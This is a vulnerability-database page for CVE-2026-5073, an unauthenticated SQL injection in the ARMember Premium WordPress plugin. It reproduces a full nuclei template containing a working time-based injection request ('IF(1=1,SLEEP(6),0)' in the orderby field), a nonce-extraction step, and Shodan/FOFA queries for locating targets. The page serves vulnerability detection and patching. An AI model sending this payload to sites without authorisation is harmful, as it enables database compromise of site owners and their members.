HexBrain

Browse / CVEs / CVE-2026-5073

CVE-2026-5073· reputeinfosystems / armember· CWE-89

WordPress ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection

criticalseverity
7.5CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it

The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.

Impact

This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

Fix

Update ARMember Premium to version 7.3.2 or later.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/armember-membership/readme.txt
Positive when: contains "ARMember"
Send: GET {{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100
Positive when: contains "arm_wp_nonce"
Send: @timeout: 15s
Positive when: duration>=6 AND contains "arm_directory_paging_container"

Run it with nuclei: nuclei -id CVE-2026-5073 -u <target>

The full check
id: CVE-2026-5073

info:
  name: WordPress ARMember Premium <= 7.3.1 - Unauthenticated SQL Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    The ARMember Premium plugin for WordPress is vulnerable to SQL Injection via the 'order' parameter of the 'arm_directory_paging_action' AJAX action in all versions up to, and including, 7.3.1. This is due to insufficient escaping on the user-supplied 'order' and 'orderby' parameters and the lack of sufficient preparation on the existing SQL query in the `arm_get_directory_members()` function.
  impact: |
    This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  remediation: |
    Update ARMember Premium to version 7.3.2 or later.
  reference:
    - https://patchstack.com/database/wordpress/plugin/armember/vulnerability/wordpress-armember-premium-membership-plugin-content-restriction-member-levels-user-profile-user-signup-plugin-7-3-1-unauthenticated-sql-injection-vulnerability
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/b5f6d2a2-ad3e-4afc-b6fd-745881d85b6b
    - https://nvd.nist.gov/vuln/detail/CVE-2026-5073
    - https://codecanyon.net/item/armember-complete-wordpress-membership-system/17785056
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-5073
    epss-score: 0.01383
    epss-percentile: 0.72394
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 3
    vendor: reputeinfosystems
    product: armember
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/armember-membership/"
    fofa-query: body="/wp-content/plugins/armember-membership/"
  tags: cve,cve2026,sqli,time-based-sqli,wordpress,wp,wp-plugin,armember,unauth,vkev

flow: |
  http("detect") && http("get-nonce") && http("sqli")

http:
  - id: detect
    method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/armember-membership/readme.txt"

    matchers:
      - type: word
        words:
          - "ARMember"
        internal: true

  - id: get-nonce
    method: GET
    path:
      - "{{BaseURL}}/index.php?rest_route=/wp/v2/pages&per_page=100"

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        regex:
          - "name='arm_wp_nonce'[^>]*value='([a-f0-9]+)'"

    matchers:
      - type: word
        words:
          - "arm_wp_nonce"
        internal: true

  - id: sqli
    raw:
      - |
        @timeout: 15s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=arm_directory_paging_action&pagination=infinite&id=1&type=directory&orderby=display_name,IF(1=1,SLEEP(6),0)&order=ASC&per_page=10&current_page=1&arm_wp_nonce={{nonce}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "duration>=6"

      - type: word
        part: body
        words:
          - "arm_directory_paging_container"

References

Use this check only on systems you are authorised to test. Where the data comes from